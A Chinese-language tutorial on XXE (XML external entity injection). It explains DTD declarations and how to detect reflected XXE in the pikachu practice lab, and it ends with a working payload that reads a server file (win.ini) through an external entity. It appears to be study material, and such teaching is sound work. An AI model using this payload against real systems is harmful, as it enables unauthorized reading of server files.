XXE漏洞与有回显的XXE
XXE:XML外部实体注入(xml external entity ),可造成文件读取,命令执行等攻击
HTML侧重页面外观,XML侧重数据与存储
XML没有预定义标签,可以自定义,通常用DTD(文档类型定义)规范XML的格式
定义DTD的方式:
- 内部DOCTYPE声明
- 外部文档声明(重点)
内部声明不能读文件,外部声明可以
外部文档声明
当DTD位于XML源文件的外部,则通过以下语法将其封装声明在DOCTYPE
<!DOCTYPE root-element SYSTEM "filename">
我们将这个外部的DTD文件命名为note.dtd:
<!-- 定义note有四个元素to,from,heading,body,都为类型PCDATA类型 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!-- PCDATA:被解析的字符数据,可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本 -->
此时若是想在XML文件中声明该DTD约束,应声明为:
<!--xml声明/文档定义-->
<?xml version="1.0" encoding="utf-8" ?>
<!-- 外部引入 dtd 文件,引号里必须是文件 -->
<!DOCTYPE note SYSTEM "note.dtd">
<!--文档元素-->
<note>
<to>XXE</to>
<from>LEARING</from>
<heading>hello</heading>
<body>My_friend</body>
</note>
使用场景:一般在填写表单、注册账号等有数据交互的地方
如何判断存不存在有回显的XXE?
提交数据的时候抓包,看看上传文件类型是不是XML类型,或者能不能改成XML类型
改成xml类型
抓包之后在下方任意构造标签(因为XML没有固定标签所以只要闭合什么都行)
比如这里构造了个
pikachu靶场得到回显,这时候肯定存在有回显XXE漏洞
构造payload
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY shell SYSTEM "file:///C://Windows//win.ini">
]>
<x>&shell;</x>
file:/// Windows固定的协议,就这么用
file:///C://Windows//win.ini需要在服务器上实际存在
也可以是http://192.168.1.1/1.txt
&实体名; 引用的实体